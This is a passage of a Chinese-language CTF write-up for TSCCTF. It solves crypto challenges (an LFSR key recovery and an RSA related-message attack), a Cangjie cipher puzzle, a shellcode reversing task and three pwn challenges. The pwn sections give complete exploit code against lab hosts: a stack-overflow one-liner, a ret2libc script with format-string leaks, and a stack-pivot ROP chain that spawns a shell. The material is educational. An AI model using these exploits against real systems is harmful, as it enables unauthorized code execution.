b 的部分,就要看前面式子中的後面項,而他只會影響到最後的一 bit,因此
b
向量的部分會變成前面是 0 最後是
i=07(mi2+0x6861616368616d61)

因此我們有了 model 之後,我們可以來建聯立方程式,不過由於在 flag 後面只有給 52 個乾淨沒有被 xor 過的 bit 但是我們有 64 個變數,因此需要借用一下 flag 前面已知的 TSCCTF 這 6 個 bytes = 48 個 bits 的資料,而由於第 1 個 bit 沒有乘過我們的

A 矩陣,因此無法使用他,因此我們只能使用 47 個 flag bits 加上後面的 52 個 clean bits 來建方程式,足夠我們使用了

以下是解題的腳本,取得 key 之後就可以正常的跑 model 來產 bit 解密 flag 了

from sage.all import Matrix, vector, GF, copy
from param import lfsr_taps, lfsr_keysize, output
from Crypto.Util.number import long_to_bytes

mat_A = Matrix(GF(2),
    [[1 if j==i+1 else 0 for j in range(lfsr_keysize)] for i in range(lfsr_keysize-1)] + 
    [[1 if i < len(lfsr_taps) else 0 for i in range(lfsr_keysize)]]
    )
vec_b = vector(GF(2),
    [0 for _ in range(lfsr_keysize-1)] + 
    [ sum(0x6861616368616d61-lfsr_taps[i]**2 for i in range(len(lfsr_taps))) ]
    )

begin = len(output) - 52

equation_arr = []
equation_out = []

acc_matA = copy(mat_A)
acc_vecb = copy(vec_b)

flaghead = [int(i) for i in ''.join([bin(ord(i))[2:].zfill(8) for i in "TSCCTF"])]
for i in range(1,len(output)):
    if i < len(flaghead):
        equation_arr.append(acc_matA[0])
        equation_out.append((flaghead[i] ^ output[i]) - acc_vecb[0])
    if i > begin:
        equation_arr.append(acc_matA[0])
        equation_out.append(output[i] - acc_vecb[0])
    acc_matA =  mat_A * acc_matA
    acc_vecb = mat_A * acc_vecb + vec_b

equation_mat = Matrix(GF(2), equation_arr)
equation_out_vec = vector(GF(2),equation_out)

key = equation_mat.solve_right(equation_out_vec)
print(key)

# get flag
acc_matA = copy(mat_A)
acc_vecb = copy(vec_b)

out = []
out.append(key[0])
for i in range(1,begin):
    out.append((acc_matA * key + acc_vecb)[0])
    acc_matA =  mat_A * acc_matA
    acc_vecb = mat_A * acc_vecb + vec_b
# print(out)

flag = []
for i in range(begin):
    flag.append(int(out[i]) ^ output[i])

print(long_to_bytes(int(''.join([str(i) for i in flag]),2)))

執行之後可以拿到 flag

flag

TSCCTF{3736203334203435203235203337203434203433203935203834203933203134206433203637206633203836203336203437203136203737206632206436206636203336206532203536203236203537203437203537206636203937206532203737203737203737206632206632206133203337203037203437203437203836}

Baby staRburSt streAm

The flag format is TSCCTF{.+}. 

starburst-stream.gif 

Author: Ching367436

file: chal.py, output.txt

以下是題目的部分

print(
"""
      />_________________________________
[########[]_________________________________>
      \>                Sword Art Offline
    
"""
)

from Crypto.Util.number import *
from random import random
from time import sleep
from secret import FLAG

flag = bytes_to_long(FLAG)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
print(f'{n = }')

assert 2*n > flag > 0

def starburst(x: int):
    return (x * 0x48763 + 0x74) % n


def isBurst() -> bool:
    return True


sleep(10)

for i in range(16):
    flag = starburst(starburst(flag))
    if isBurst():
        print(pow(flag, 0x487, n))

可以看到題目會生成 RSA 2048,並且會執行 16 round,每次會對 flag 做兩次的 LCG 之後做 RSA 加密印出來,公鑰 e 是 0x487

而我們可以知道 LCG 是一個線性的算法,就算做 2 次也一樣,因此我們可以得到這樣的關係式,

f(x) 是線性的函式

m2f(m1)modN

c2m2ef(m1)emodN

因此這題是一個標準的 related message attack

首先我們可以先將

f(x) 展開出來,他是
LCD(LCD(x))
,也就是
(xa+b)a+bmodNa2x+ab+bmodN

因此我們可以參考 這個腳本 來改成這題的腳本,如下

from sage.all import *
from param import n, c1, c2
from Crypto.Util.number import *

e = 0x487
a = 0x48763**2
b = 0x48763*0x74 + 0x74

pol = PolynomialRing(Zmod(n), 'x')
x = pol.gen()
g1 = x**e - c1
g2 = (a*x+b)**e - c2

# from https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_coppersmith_attack/#sctf-rsa3
def gcd(g1, g2):
    while g2:
        g1, g2 = g2, g1 % g2
    return g1.monic()

g = gcd(g1, g2)

m1 = -g[0]
print(m1)

flag = ((m1 - b) * pow(a, -1, n)) % n
print(long_to_bytes(flag))

執行之後就能算出 flag

flag

TSCCTF{_______dQw4w9WgXcQ_______}

匚⁠凡⁠巳⁠丂⁠凡⁠𠂆 工⁠几⁠卩⁠凵⁠七 从⁠巳⁠七⁠升⁠口⁠夕

六 七 八 九 零 減號 加號  刪除 頓號 一 二 三 四 五
 山 戈 人 心 開括 關括  斜根 間隔 手 田 水 口 廿 卜
  大 中 冒號 引號   輸入 全半形 日 尸 木 火 土 竹 十
句號 問號 大寫變換 大寫變換 重 難 金 女 月 弓 一 逗號
視窗 指令       空白       指令 視窗 選單 控制 控制
Special flag format: 丅丂匚﹛…﹜

Author: IID

※ The first 2 hexadecimal digits of the SHA256 hash of the flag is in the paid hint.

file: flag.caesarim.enc

打開檔案之後,可以看到項是下面這樣的東西

MV ZN LDT NTGT DP IGJK KEZJS XYT JSK BS SR HQN WF YWZA VEW KRDY YJLJ

初步看不出來是啥,只能知道每一格的字元長度不固定,大概介於 1 ~ 5 個字元之間

而搭配一下題目的名稱,可以看得出應該是叫 caesar input method,所以應該是有被做凱薩加密之類的

另外從題目說明的鍵盤圖可以推知跟倉頡有點關係,且根據 wikipedia 的資料可以知道倉頡的字碼可以是 1 碼到 5 碼,與我們先前的發現相符

而觀察一下檔案,我在觀察 5 碼的時候發現了一個關鍵的地方,以下是我整理的 5 碼資料,中間 ... 代表的是多個字,而 ? 代表的是一個非 5 碼的字

KEZJS ... HSNCD ZZECD ... JUPER CIGEF ... KVQFG CCHFG ... JUJON ... WQLVE ... QBWLM IINLM ... WHCRS OOTRS ... CNIXY UUZXY ... YJETU QQVTU ... IJVVV RNDXN ... TZXVW ? YZLLL HDTND ... KRDPL

可以觀察到,裡面的 HSNCD ZZECD, KVQFG CCHFG, QBWLM IINLM, WHCRS OOTRS, CNIXY UUZXY, YJETU QQVTU 的 pattern 很類似,因此我有個大膽的想法,會不會他們其實是同一個字,只是有不同的 offset

因此我整理了一下,以下是上面這些 pattern 中間隔了幾個字元的資料,可以看到在隔了 42 與隔了 16 個字元的情況下他們都是會有 6 個 offset 的差距,且

42=16+26,這是巧合嗎?我認為不是

HSNCD ZZECD -> 21 w -> KVQFG CCHFG (+3)
KVQFG CCHFG -> 42 w -> QBWLM IINLM (+6)
QBWLM IINLM -> 16 w -> WHCRS OOTRS (+6)
WHCRS OOTRS -> 16 w -> CNIXY UUZXY (+6)
CNIXY UUZXY -> 24 w -> YJETU QQVTU (+22)

因此我們可以大膽的猜想,第 1 個字和第 27 個字會使用相同的 caesar key 做加密,第 2 個字和第 28 個字會使用相同的 caesar key 做加密,以此類推,而我們需要找到這個 key 以及他是如何做演化的

因此我首先從第 1 個字的 key 開始找起,他的 key 也會和第 27 個字的 key 相同,這邊我使用 cryptii 的線上工具來轉 caesar 回來,並使用 線上倉頡輸入法 來測試倉頡字碼

當我在測試第 27 個字 AUMD 的時候,我發現在將他做 +14 時 (也就是 caesar key 是 12) 會轉換成 OIAR,而字碼轉換後變成倉頡的 ,所以可能解對了?

aumd_caesar

aumd_cangjie

而我原本猜想 key 的更新是一個字元就會讓 key + 1 或 key - 1,但是測試起來好像不是,而我這邊就假設前面找出來的 字後面應該會接 ,因此就去嘗試找對應的 caesar key,最終找到了是 25,所以可能是 +11 的更新法則

hsncd_caesar

hsncd_cangjie

因此我這邊初步寫了一個腳本來自動解碼,而另外為了要解倉頡碼出來,我上網找到了 EasyIME/PIME 這個字碼庫來轉換

from string import ascii_uppercase
enc = open("flag.caesarim.enc", "r").read().split()

pt = []
key = 14 # try and error
for word in enc:
    plain = ""
    for c in word:
        plain += ascii_uppercase[(ascii_uppercase.index(c) + key) % len(ascii_uppercase)]
    pt.append(plain)
    key =  (key + 11) #% len(ascii_uppercase)
print(' '.join(pt))

dataset = open("mscj3-ext.cin", "r").read().split('\n')[50:-1]
dataset_dict = dict()
for line in dataset:
    data = line.split()
    k,v = data[0], data[-1]
    if(dataset_dict.get(k) == None):
        dataset_dict[k] = v.strip()
    elif(type(dataset_dict.get(k)) == list):
        dataset_dict[k].append(v.strip())
    elif(type(dataset_dict.get(k)) == str):
        dataset_dict[k] = [dataset_dict.get(k), v.strip()]
# https://ivantsoi.myds.me/web/pun.htm
dataset_dict['zxaa'] = ' '

dataset_dict['ml'] = '丅'
dataset_dict['mvs'] = '丂'
dataset_dict['mv'] = '匚'
# dataset_dict['hni'] = '凡'
dataset_dict['ru'] = '巳'
# dataset_dict['hh'] = '𠂆'
# dataset_dict['mlm'] = '工'
dataset_dict['hn'] = '几'
# dataset_dict['sl'] = '卩'
dataset_dict['vl'] = '凵'
# # dataset_dict['jv'] = '七'
# dataset_dict['oo'] = '从'
# dataset_dict['ht'] = '升'
# dataset_dict['r'] = '口'
dataset_dict['ni'] = '夕'

dataset_dict['cl'] = '丫'

for p in pt:
    ch = dataset_dict.get(p.lower())
    if(ch == None):
        ch = f'[{p}]'
    # if(ch == '灬'):
    #     ch = '从'
    print(ch, end='')
print()

因為有些字詞會有一個倉頡碼對應到多個字的情況,因此我有將那些部分轉換成 list 之後一起印出來,並將一些已知可能的字元寫死設定,而在 try and error 很多次之後終於試出來了

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

flag

丅丂匚﹛十与口 丂巳﹙凵𠂆讠七丫 匚𠂆巳夕讠七 做得好! 丫口凵’𠂆巳 山巳︱︱ 口几 丫口凵𠂆 山凡丫 七口 㠯巳﹙口爫巳 凡 匚凡巳丂凡𠂆 讠几卩凵七 爫凡丂七巳𠂆!!﹗﹗﹗﹜

Reverse

sHELLcode

Ez Reverse Right?

Author: ShallowFeather

注意: Flag format為 TCL{flag}

沒改到不好意思 QQ

file: sHELLcode.exe

題目給了 binary,直接丟進 IDA 分析,以下是 main 函式

main

可以看到程式會從 argv 讀取輸入,並可以看到輸入的長度必須是 32,而後他會將 code 陣列的資料與 0x87 做 xor 之後視為是 shellcode 執行,並將輸入帶進去,假如執行通過的話就會印出 Here is your flag 加上我們的輸入,因此可想而知我們的輸入應該就要是 flag

我們可以使用 cyberchef 來做 xor 並做 disassemble,recipe 在此,我將 code 陣列的資料做完 xor 之後直接做 disassemble,因此可以看得到檢查的邏輯部分

以下是 assembly 的部分,我有將後面的 \x00 去除掉

0000000000000000 55                              PUSH RBP
0000000000000001 89E5                            MOV EBP,ESP
0000000000000003 53                              PUSH RBX
0000000000000004 83EC14                          SUB ESP,00000014
0000000000000007 8D45F3                          LEA EAX,[RBP-0D]
000000000000000A C70063383736                    MOV DWORD PTR [RAX],36373863
0000000000000010 66C740043300                    MOV WORD PTR [RAX+04],0033
0000000000000016 C745F800000000                  MOV DWORD PTR [RBP-08],00000000
000000000000001D 837DF820                        CMP DWORD PTR [RBP-08],00000020
0000000000000021 7F56                            JG 0000000000000079
0000000000000023 8B45F8                          MOV EAX,DWORD PTR [RBP-08]
0000000000000026 8B1C8560414000                  MOV EBX,DWORD PTR [RAX*4+00404160]
000000000000002D 8B55F8                          MOV EDX,DWORD PTR [RBP-08]
0000000000000030 8B4508                          MOV EAX,DWORD PTR [RBP+08]
0000000000000033 01D0                            ADD EAX,EDX
0000000000000035 0FB600                          MOVZX EAX,BYTE PTR [RAX]
0000000000000038 8845EB                          MOV BYTE PTR [RBP-15],AL
000000000000003B 8B4DF8                          MOV ECX,DWORD PTR [RBP-08]
000000000000003E BA67666666                      MOV EDX,66666667
0000000000000043 89C8                            MOV EAX,ECX
0000000000000045 F7EA                            IMUL EDX
0000000000000047 D1FA                            SAR EDX,1
0000000000000049 89C8                            MOV EAX,ECX
000000000000004B C1F81F                          SAR EAX,1F
000000000000004E 29C2                            SUB EDX,EAX
0000000000000050 89D0                            MOV EAX,EDX
0000000000000052 89C2                            MOV EDX,EAX
0000000000000054 C1E202                          SHL EDX,02
0000000000000057 01C2                            ADD EDX,EAX
0000000000000059 89C8                            MOV EAX,ECX
000000000000005B 29D0                            SUB EAX,EDX
000000000000005D 0FB64405F3                      MOVZX EAX,BYTE PTR [RBP+RAX-0D]
0000000000000062 3245EB                          XOR AL,BYTE PTR [RBP-15]
0000000000000065 0FBEC0                          MOVSX EAX,AL
0000000000000068 39C3                            CMP EBX,EAX
000000000000006A 7407                            JE 0000000000000073
000000000000006C B800000000                      MOV EAX,00000000
0000000000000071 EB0B                            JMP 000000000000007E
0000000000000073 8345F801                        ADD DWORD PTR [RBP-08],00000001
0000000000000077 EBA4                            JMP 000000000000001D
0000000000000079 B801000000                      MOV EAX,00000001
000000000000007E 83C414                          ADD ESP,00000014
0000000000000081 5B                              POP RBX
0000000000000082 5D                              POP RBP
0000000000000083 C3                              RET

從以上邏輯慢慢看出在 0x07 ~ 0x10 的地方他會將一個字串 c8763 放到 rbp-0xd 的地方,而後在 0x16 ~ 0x77 的地方有一個迴圈會從 0 執行到 0x20,看起來是會對輸入的每個 byte 做事情,而在 0x26 的地方可以看到他會從 0x404160 的地方載入一個一個 dword 的資料到 ebx 之後在 0x62 ~ 0x71 的地方會將轉換後的輸入資料與 c8763 做 xor 之後與 ebx 做比較,如果一樣的話迴圈繼續否則返回 0 表示失敗

而中間那一大段的邏輯我看了很久但是看不太出來他要幹嘛,因此這邊我直接嘗試將 0x404160 那邊 dword 的資料與 c8763 做 xor,發現 flag 就出來了,recipe 在此,所以我猜中間可能是用來混淆用的

flag

TCLCTF{Now_ur_A_sHELLcode_M4sTer}

Pwn

[教學題] ret2win

Welcome to the easiest pwnable challenge in TSCCTF!

nc 172.31.210.1 50001

file: ret2win.zip

題目有給 source code,如下

#include <stdio.h>
#include <stdlib.h>

void win(void){
    execve("/bin/sh", 0, 0);
}

int main(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    puts("baby pwn challenge!");
    char str[0x20];
    gets(str);
    return 0;
}

可以看到他有一個 main 函式及 win 函式,我們只要跳到 win 上就能拿到 shell

而在 main 的地方有一個 gets,具有 BOF 漏洞,因此我們可能可以用 stack overflow 蓋 return address 的方式跳到 win 上開 shell

以下是 checksec 的結果,可以看到沒有 PIE 和 canary,可以直接跳讚讚

checksec

以下是 win 函式的位置,我使用 readelf 來看 (我懶得開 ghidra)

win

因此有了要跳的位置,我們可以開始打 exploit 了,ㄚ我懶得寫 script 因此直接用 echo 來解,總之前面會有 0x20 個 A 字元來填 buffer,8 個 B 字元來填 rbp,後面填上 win 的位置代表 return address,即可跳到 win,後面就會送 cat flag 的指令給 shell 拿 flag 的內容

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x96\x11\x40\x00\x00\x00\x00\x00\ncat flag" | nc 172.31.210.1 50001

指令下去就能拿 flag 了

flag

TSC{baby_pwn_cha11eng2_1snt_1t?}

ret2libc

Do you know libc?

nc 172.31.210.1 50002

file: ret2libc.zip

題目有給原始碼,如下所示

#include <stdio.h>
#include <stdio.h>

int main(){
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	puts("Do you know the libc?");
	char str[0x20];
	scanf("%s", str);
	getchar();
	printf(str);
	gets(str);
	return 0;
}

可以看到他與前面一題不同的是他只有一個 main 函式,沒有 win 沒辦法直接跳,因此需要靠 return to libc 的方式來開 shell

另外一個可以觀察到的地方是它有一個 printf(str),裡面的字串可控,因此我們可以用 fmt 的相關攻擊方法來 leak 資訊,比如說 libc base address 之類的

接下來我們可以來看一下 checksec 的結果,可以看到他有開 PIE 和 canary,因此我們除了 libc base address 之外可能還需要 leak canary 以及 code base address,根據前面程式的輸入部分,在不影響運作的情況下,我們可以寫最多 32 個字元,而這已經足夠我們來 leak 資料了

checksec

我們可以初步嘗試用 gdb 來看要 leak 哪裡,在有 fmt 漏洞那邊的 stack 如下,可以看到 canary 在 0x7fffffffdcf8 那邊,main 函式結束後會跳回 __libc_start_main 的位置在 0x7fffffffdd08,而 __libc_start_main 的參數 main address 在 0x7fffffffdd28,因此相對應的我們要用 %???$p 的參數編號分別會是 6+5, 6+7, 6+11

stack

leak 出來後計算一下 offset 即可取得相對應的 base address 的數值

以下是腳本中相對應的程式碼部分

conn.sendlineafter(b"libc?\n", b"%11$p|%13$p|%17$p|")
canary = int(conn.recvuntil(b"|", drop=True)[2:], 16)
leak1 = int(conn.recvuntil(b"|", drop=True)[2:], 16)
leak2 = int(conn.recvuntil(b"|", drop=True)[2:], 16)
print(f"canary: {hex(canary)}")
libcbase = leak1 - 0x24083
print(f"leak: {hex(leak1)}")
print(f"libcbase: {hex(libcbase)}")
codebase = leak2 - 0x1209
print(f"leak: {hex(leak2)}")
print(f"codebase: {hex(codebase)}")

接著有了 canary、libc base address、code base address 之後,我們可以開始來串 ROP chain 了,我們需要用 libc 中的 system() 來 call /bin/sh 開 shell,因此我們需要 system() 的位置、/bin/sh 的位置以及 pop rdi 的 gadget,而為了可能的 stack alignment 的問題我們也可能需要 ret 的 gadget,以下 gadget 皆是使用 ROPgadget 及 readelf 來找到的

首先是 system() 的位置,我們可以用 readelf 工具來找到,如下

gadget_system

/bin/sh 的字串可以用 ROPgadget 工具找到,不用自己寫 bss

gadget_binsh

pop rdi 的 gadget 也可以用 ROPgadget 找到

gadget_poprdi

ret 的 gadget 當然也可以用 ROPgadget 找到

gadget_ret

將這些 gadget 與計算出的 libc base address 做相加,即可得到這些 gadget 的真實位置,而我們就可以用這些 gadget 來串 ROP chain 開 shell RCE 了

完整的 exploit 如下

from pwn import *
binary = "./ret2libc"

context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary

conn = remote("172.31.210.1", 50002)
# conn = process(binary)
# conn = gdb.debug(binary)

conn.sendlineafter(b"libc?\n", b"%11$p|%13$p|%17$p|")
canary = int(conn.recvuntil(b"|", drop=True)[2:], 16)
leak1 = int(conn.recvuntil(b"|", drop=True)[2:], 16)
leak2 = int(conn.recvuntil(b"|", drop=True)[2:], 16)
print(f"canary: {hex(canary)}")
libcbase = leak1 - 0x24083
print(f"leak: {hex(leak1)}")
print(f"libcbase: {hex(libcbase)}")
codebase = leak2 - 0x1209
print(f"leak: {hex(leak2)}")
print(f"codebase: {hex(codebase)}")

# 0x00000000001b45bd : /bin/sh
# 0x0000000000023b6a : pop rdi ; ret
#   1430: 0000000000052290    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
# 0x0000000000022679 : ret
binsh = libcbase + 0x1b45bd
system = libcbase + 0x52290
poprdi = libcbase + 0x23b6a
ret = libcbase + 0x22679

chain = flat([
    poprdi, binsh,
    ret,
    system
])

conn.sendline(b"A"*0x28 + p64(canary) + p64(0xdeadbeef) + chain)
conn.interactive()

執行後即可拿到 shell

flag

TSC{ret2l1bc_happy_happy_happy1337}

Babypwn2024 Nerf

It's 2024. Baby, pwn me first.

Notice that we enable POW (Proof-of-Work) to help our infra stay alive. See the attached files for more details.

Brute-forcing is not necessary and prohibited.

nc 172.31.210.1 50003

Author: TWNWAKing

file: release.zip

這題題目沒有給 source code,只能去逆向他了,以下是 ghidra 逆出來的 main 函式

undefined8 main(void)
{
  undefined local_28 [32];
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  read(0,local_28,0x30);
  puts("Mission failed?");
  return 0;
}

可以看到這題和前面兩題有點像,不過是困難版的,既沒有 win 函式也沒有 fmt 漏洞可以 leak 資訊,此外他在輸入的部分也只給了 0x30 的空間,基本上只能蓋到 rbp 及 return address

不過值得慶幸的是在 checksec 中可以看到他沒有 PIE 及 canary,至少我們不需要煩惱怎麼繞過這邊

checksec

接下來為求方便解釋,我先將以上程式碼中比較重要的 assembly 貼在下面做參考使用

004011c0 e8  bb  fe       CALL       <EXTERNAL>::setvbuf
         ff  ff
004011c5 48  8d  45  e0    LEA        RAX =>local_28 ,[RBP  + -0x20 ]
004011c9 ba  30  00       MOV        EDX ,0x30
         00  00
004011ce 48  89  c6       MOV        RSI ,RAX
004011d1 bf  00  00       MOV        EDI ,0x0
         00  00
004011d6 b8  00  00       MOV        EAX ,0x0
         00  00
004011db e8  90  fe       CALL       <EXTERNAL>::read
         ff  ff
004011e0 48  8d  05       LEA        RAX ,[s_Mission_failed?_00402004 ]
         1d  0e  00  00
004011e7 48  89  c7       MOV        RDI =>s_Mission_failed?_00402004 ,RAX
004011ea e8  71  fe       CALL       <EXTERNAL>::puts
         ff  ff
004011ef b8  00  00       MOV        EAX ,0x0
         00  00
004011f4 c9              LEAVE
004011f5 c3              RET

回到主題,由於我們基本上只能蓋 rbp 及 return address,肯定是沒辦法單純的蓋 ROP chain,因此我們必須要用 stack pivoting 跳到 bss 或是其他地方塞 ROP chain,這邊我是選擇 bss

首先我們要先選一塊風水寶地,我們可以從 readelf 或是其通工具知道 bss 段是在 0x404000 ~ 0x405000 的地方,而我選擇要做事情的資料是從 0x404800 開始,至於為什麼要選這麼高的位置後面會說明,這邊我們先命名為 bss_800

而從上面的 assembly 可以看到當我們能控制 rbp 並修改 return address 到 0x004011c5 時,由於程式的邏輯我們可以寫入 rbp - 0x20 到 rbp + 0x10 的位置,因此我們可以寫入一些資料到 bss 上

因此,在第一次階段的部分我們會使用以下的 payload,先填充 0x20 的 buffer 之後在 rbp 的地方寫入 bss_800 + 0x20,並將 return address 蓋成 0x4011c5,這樣我們在下一個階段就能寫入資料到 bss_800

conn.send(b"A"*0x20 + p64(bss_800 + 0x20) + p64(0x4011c5))
conn.recvuntil(b"failed?")

在第二個階段,目前的 rsp 仍然是一個 stack 上的位置,不過 rbp 現在變成 bss_800 + 0x20,而由於我們目前還沒辦法跳去玩 ROP chain,因此第二個階段的 payload 還是暫時是填充 buffer 並在 rbp 的地方填入 bss_800 + 0x28 + 0x20 以及 return address 填入 0x4011c5,至於為什麼是 bss_800 + 0x28 在下一個階段就會揭曉,而下個階段我們就能寫入 bss_800 + 0x28 ~ bss_800 + 0x58 的位置

conn.send(b"12345678"*4 + p64(bss_800 + 0x28 + 0x20) + p64(0x4011c5))
conn.recvuntil(b"failed?\n")

在第三個階段,目前的 rsp 是第一個階段的 rbp bss_800 + 0x20 加上 function epilogue 中 pop rbp ; ret 使得會變成 bss_800 + 0x30 而 rbp 是上一個階段的 rbp bss_800 + 0x48,在這個階段中我測試時發現了一些奇妙的事情,首先下面是 read 的 assembly code 的前面部分

Dump of assembler code for function read:
=> 0x00007ffff7ea79c0 <+0>:     endbr64
   0x00007ffff7ea79c4 <+4>:     mov    eax,DWORD PTR fs:0x18
   0x00007ffff7ea79cc <+12>:    test   eax,eax
   0x00007ffff7ea79ce <+14>:    jne    0x7ffff7ea79e0 <read+32>
   0x00007ffff7ea79d0 <+16>:    syscall
   0x00007ffff7ea79d2 <+18>:    cmp    rax,0xfffffffffffff000
   0x00007ffff7ea79d8 <+24>:    ja     0x7ffff7ea7a30 <read+112>
   0x00007ffff7ea79da <+26>:    ret

當我們 call read 時,會一路從 plt -> got 最終跳到 libc 上的 read 函式也就是這邊,而 call 的時候同時也會讓 rsp 減 8 並放上 return 回來的位置 (calling convention),因此此時在這個函式一開始時的 rsp 是 bss_800 + 0x28,而在這段程式碼中我們會寫入 bss_800 + 0x28 ~ bss_800 + 0x58,恰巧的我們可以複寫到 return address 所在的位置 bss_800 + 0x28,也就是說我們可以在這段位置上放 ROP chain,而這也是為什麼前面在階段二我們要填 rbp 所填的是 bss_800 + 0x28 + 0x20 的原因

既然我們可以執行 ROP chain 了,那麼我們要如何 leak 資料呢?一個簡單的想法可能是 ret2plt,但是實際去用 ROPgadget 會發現 binary 中並沒有 pop rdi 的 gadget 可以使用,很不方便,另外 binary 中也沒有 dl_resolve 可以使用

因此這邊我使用了 lys 大大在好厲駭 ROP 課中所說到的 ret to deregister_tm_clone 的方式,以下我來進行說明這個方法

首先以下是 deregister_tm_clone 的 assembly 部分,可以看到他在一開始會將 __bss_start 的資料放到 rax 中,而這個位置其實會是 libc 中跟 dynamic linking 載入器有關的位置,因此執行這個函式等同於我們把 libc 上的位置放到 rax 中

dtm

回到前面的 assembly 部分,可以看到在 0x004011e7 的位置會將 rax 的值放到 rdi 之後用 print 印出,也就是說只要我們在 ROP chain 中執行完 deregister_tm_clone 之後跳到 0x004011e7 的位置我們就能 leak 出 libc 的位置了

因此我們第三階段的 payload 就會是 ROP chain 加上一個 rbp address 為 bss_800 + 0x28 + 0x20 以及 return address 填 main 函式,在這個階段我們就能 leak 出 libc 的位置了

chain = flat([
    dtm_clone,
    ret,
    0x4011e7,
    0x0,
])
conn.send(chain + p64(bss_800 + 0x28 + 0x20) + p64(0x401176))

leak = u64(conn.recvline().strip().ljust(8, b"\x00"))
libcbase = leak - 0x21a780
print(f"leak: {hex(leak)}")
print(f"libcbase: {hex(libcbase)}")

而最後階段我們跳回了 main 函式,且我們知道了 libc 的 base address,因為上個階段的 rsp 最後會變成 bss_800 + 0x50,做完 main 的 prologue 之後 rbp 就會變成 rsp 也就是 bss_800 + 0x50,因此此時我們可以寫入的位置是 bss_800 + 0x30 ~ bss_800 + 0x60,這邊我們只要在這個位置段寫入開 shell 的 ROP chain 並做一般的 stack pivoting 跳到上面即可

binsh = libcbase + 0x1d8698
system = libcbase + 0x50d70
pop_rdi = libcbase + 0x2a3e5

chain = flat([
    pop_rdi,
    binsh,
    system,
    0,
])

conn.send(chain + p64(bss_800 + 0x28) + p64(0x4011f4))

而這邊有個小插曲,我原本在使用比較低位置的 bss 時發現會在 system 執行途中寫入到超出 bss 範圍的地方,使得發生 segmentation fault,因此後來我就搬到比較高的地方去,這也是為什麼前面說要挑 0x404800 的原因

完整的 exploit 如下,前面有一塊是解 pow 的部分在此不做說明

from pwn import *
import os
binary = "./babypwn2024-nerf"

context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary

conn = remote("172.31.210.1", 50003)
# conn = process(binary)
# conn = gdb.debug(binary)

conn.recvuntil(b"$ ")
cmd = conn.recvline().decode()
print(cmd)
result = os.popen(cmd).read()
print(f"result: {result}")
conn.sendlineafter(b"??? = ", result)

# 0x00000000004011c5 <+79>:    lea    rax,[rbp-0x20]
# 0x4010d0 deregister_tm_clones
# 0x000000000040101a : ret
bss_800 = 0x404000 + 0x800
dtm_clone = 0x4010d0
ret = 0x40101a

conn.send(b"A"*0x20 + p64(bss_800 + 0x20) + p64(0x4011c5))
conn.recvuntil(b"failed?")
conn.send(b"12345678"*4 + p64(bss_800 + 0x28 + 0x20) + p64(0x4011c5))
conn.recvuntil(b"failed?\n")
chain = flat([
    dtm_clone,
    ret,
    0x4011e7,
    0x0,
])
# conn.send(b"payload1" + b"payload2" + b"payload3" + b"payload4" + b"payload5" + p64(0x4011c5))
conn.send(chain + p64(bss_800 + 0x28 + 0x20) + p64(0x401176))

leak = u64(conn.recvline().strip().ljust(8, b"\x00"))
libcbase = leak - 0x21a780
print(f"leak: {hex(leak)}")
print(f"libcbase: {hex(libcbase)}")

# 0x00000000001d8698 : /bin/sh
#  1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
# 0x000000000002a3e5 : pop rdi ; ret
binsh = libcbase + 0x1d8698
system = libcbase + 0x50d70
pop_rdi = libcbase + 0x2a3e5

chain = flat([
    pop_rdi,
    binsh,
    system,
    0,
])

conn.send(chain + p64(bss_800 + 0x28) + p64(0x4011f4))

conn.interactive()

執行完之後就能拿到 shell 了

flag

TSC{R0p_i5_StiLL_b4by_IN_2024_iF_u_c4n_FiNd_Cust0M1ZEd_gADgETS_fIepTj0DlqTN4tpw}

這題我也拿到了 first blood 了,開心

firstblood